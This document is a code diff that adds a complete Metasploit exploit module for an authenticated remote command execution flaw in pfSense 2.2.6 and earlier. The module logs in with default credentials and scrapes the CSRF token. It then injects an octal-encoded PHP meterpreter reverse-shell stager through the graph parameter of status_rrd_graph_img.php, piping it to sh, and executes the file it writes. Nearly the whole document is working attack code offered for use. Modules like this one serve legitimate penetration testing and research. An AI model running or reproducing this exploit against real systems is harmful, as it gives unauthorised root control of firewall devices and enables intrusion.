|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::FileDropper |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'pfSense authenticated graph status RCE', |
| 17 | + 'Description' => %q( |
| 18 | + pfSense, a free BSD based open source firewall distribution, |
| 19 | + version <= 2.2.6 contains a remote command execution |
| 20 | + vulnerability post authentication in the _rrd_graph_img.php page. |
| 21 | + The vulnerability occurs via the graph GET parameter. A non-administrative |
| 22 | + authenticated attacker can inject arbitrary operating system commands |
| 23 | + and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3. |
| 24 | + ), |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Security-Assessment.com', # discovery |
| 28 | + 'Milton Valencia', # metasploit module <wetw0rk> |
| 29 | + 'Jared Stephens', # python script <mvrk> |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'EDB', '39709' ], |
| 34 | + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf'] |
| 35 | + ], |
| 36 | + 'License' => MSF_LICENSE, |
| 37 | + 'Platform' => 'php', |
| 38 | + 'Privileged' => 'true', |
| 39 | + 'DefaultOptions' => |
| 40 | + { |
| 41 | + 'SSL' => true, |
| 42 | + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', |
| 43 | + 'Encoder' => 'php/base64' |
| 44 | + }, |
| 45 | + 'Arch' => [ ARCH_PHP ], |
| 46 | + 'Payload' => |
| 47 | + { |
| 48 | + 'Space' => 6000, |
| 49 | + 'Compat' => |
| 50 | + { |
| 51 | + 'ConnectionType' => '-bind', |
| 52 | + } |
| 53 | + }, |
| 54 | + 'Targets' => [[ 'Automatic Target', {} ]], |
| 55 | + 'DefaultTarget' => 0, |
| 56 | + 'DisclosureDate' => 'Apr 18, 2016', |
| 57 | + ) |
| 58 | + ) |
| 59 | + |
| 60 | + register_options( |
| 61 | + [ |
| 62 | + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), |
| 63 | + OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']), |
| 64 | + Opt::RPORT(443) |
| 65 | + ], self.class |
| 66 | + ) |
| 67 | + end |
| 68 | + |
| 69 | + def login |
| 70 | + res = send_request_cgi( |
| 71 | + 'uri' => '/index.php', |
| 72 | + 'method' => 'GET' |
| 73 | + ) |
| 74 | + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? |
| 75 | + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 |
| 76 | + |
| 77 | + /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body |
| 78 | + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? |
| 79 | + vprint_status("CSRF Token for login: #{csrf}") |
| 80 | + |
| 81 | + res = send_request_cgi( |
| 82 | + 'uri' => '/index.php', |
| 83 | + 'method' => 'POST', |
| 84 | + 'vars_post' => { |
| 85 | + '__csrf_magic' => csrf, |
| 86 | + 'usernamefld' => datastore['USERNAME'], |
| 87 | + 'passwordfld' => datastore['PASSWORD'], |
| 88 | + 'login' => '' |
| 89 | + } |
| 90 | + ) |
| 91 | + unless res |
| 92 | + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request") |
| 93 | + end |
| 94 | + if res.code == 302 |
| 95 | + vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") |
| 96 | + return res.get_cookies |
| 97 | + else |
| 98 | + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") |
| 99 | + return nil |
| 100 | + end |
| 101 | + end |
| 102 | + |
| 103 | + def detect_version(cookie) |
| 104 | + res = send_request_cgi( |
| 105 | + 'uri' => '/index.php', |
| 106 | + 'method' => 'GET', |
| 107 | + 'cookie' => cookie |
| 108 | + ) |
| 109 | + unless res |
| 110 | + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request") |
| 111 | + end |
| 112 | + /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body |
| 113 | + if version |
| 114 | + print_status("Detected pfSense #{version}, uploading intial payload") |
| 115 | + return Gem::Version.new(version) |
| 116 | + end |
| 117 | + # If the device isn't fully setup, you get stuck at redirects to wizard.php |
| 118 | + # however, this does NOT stop exploitation strangely |
| 119 | + print_error('pfSense version not detected or wizard still enabled.') |
| 120 | + Gem::Version.new('0.0') |
| 121 | + end |
| 122 | + |
| 123 | + def exploit |
| 124 | + begin |
| 125 | + cookie = login |
| 126 | + version = detect_version(cookie) |
| 127 | + filename = rand_text_alpha(rand(1..10)) |
| 128 | + |
| 129 | + # generate the PHP meterpreter payload |
| 130 | + stager = 'echo \'<?php ' |
| 131 | + stager << payload.encode |
| 132 | + stager << "?>\' > #{filename}" |
| 133 | + # here we begin the encoding process to |
| 134 | + # convert the payload to octal! Ugly code |
| 135 | + # don't look |
| 136 | + complete_stage = "" |
| 137 | + for i in 0..(stager.length()-1) |
| 138 | + if version.to_s =~ /2.2/ |
| 139 | + complete_stage << '\\' |
| 140 | + end |
| 141 | + complete_stage << "\\#{stager[i].ord.to_s(8)}" |
| 142 | + end |
| 143 | + |
| 144 | + res = send_request_cgi( |
| 145 | + 'uri' => '/status_rrd_graph_img.php', |
| 146 | + 'method' => 'GET', |
| 147 | + 'cookie' => cookie, |
| 148 | + 'vars_get' => { |
| 149 | + 'database' => '-throughput.rrd', |
| 150 | + 'graph' => "file|printf '#{complete_stage}'|sh|echo", |
| 151 | + } |
| 152 | + ) |
| 153 | + |
| 154 | + if res && res.code == 200 |
| 155 | + print_status('Payload uploaded successfully, executing') |
| 156 | + register_file_for_cleanup(filename) |
| 157 | + else |
| 158 | + print_error('Failed to upload payload...') |
| 159 | + end |
| 160 | + |
| 161 | + res = send_request_cgi({ |
| 162 | + 'uri' => '/status_rrd_graph_img.php', |
| 163 | + 'method' => 'GET', |
| 164 | + 'cookie' => cookie, |
| 165 | + 'vars_get' => { |
| 166 | + 'database' => '-throughput.rrd', |
| 167 | + 'graph' => "file|php #{filename}|echo " |
| 168 | + } |
| 169 | + }) |
| 170 | + disconnect |
| 171 | + end |
| 172 | + end |
| 173 | +end |
0 commit comments